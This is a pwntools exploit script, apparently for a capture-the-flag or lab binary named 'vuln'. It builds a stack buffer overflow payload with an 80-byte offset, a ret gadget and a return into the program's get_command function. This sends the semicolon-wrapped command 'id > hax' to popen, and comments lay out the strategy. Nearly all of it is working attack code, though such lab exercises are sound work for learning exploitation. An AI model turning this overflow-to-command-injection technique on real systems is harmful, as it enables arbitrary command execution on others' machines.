from pwn import *

context.update(arch='amd64', os='linux')
e = context.binary = ELF("../vuln")

'''
g = cyclic_gen()
with open("exploit.vf", "wb") as exploit_file:
    exploit_file.write(b"1\n")
    l = 200
    exploit_file.write(f"{l} {g.get(l).decode()}\n".encode())

    ->offset = 80


Exploit strategy:
    -> Right before crashing, RSI contains a pointer to the last message printed by printf.
       We can use this to `ret` into get_command, which takes its command argument from RSI.

       This causes the formatted line to be passed to popen, so we need to add some semi-colons
       to ignore the part before / after the command.
'''

command = b"id > hax"
offset = 80
# find a ret gadget to align the stack with
ret = next(e.search(asm('ret'), executable = True))

with open("exploit.vf", "wb") as exploit_file:
    payload  = b";"
    payload += command
    payload += b";"
    payload += b"A"*(offset - len(payload))
    payload += b"B"*8 #RBP
    payload += p64(ret)
    payload += p64(e.sym["get_command"])

    # header
    exploit_file.write(b"1\n")
    # Line
    exploit_file.write(f"{len(payload)} ".encode())
    exploit_file.write(payload)

# Run the exploit

if args.GDB:
    p = gdb.debug([e.path, "exploit.vf"],
    '''
    set follow-fork-mode parent
    b get_command
    continue
    ''')
else:
    p = process(argv=[e.path, "exploit.vf"])

if args.GDB:
    # Keep the process alive long enough to debug it.
    p.interactive()

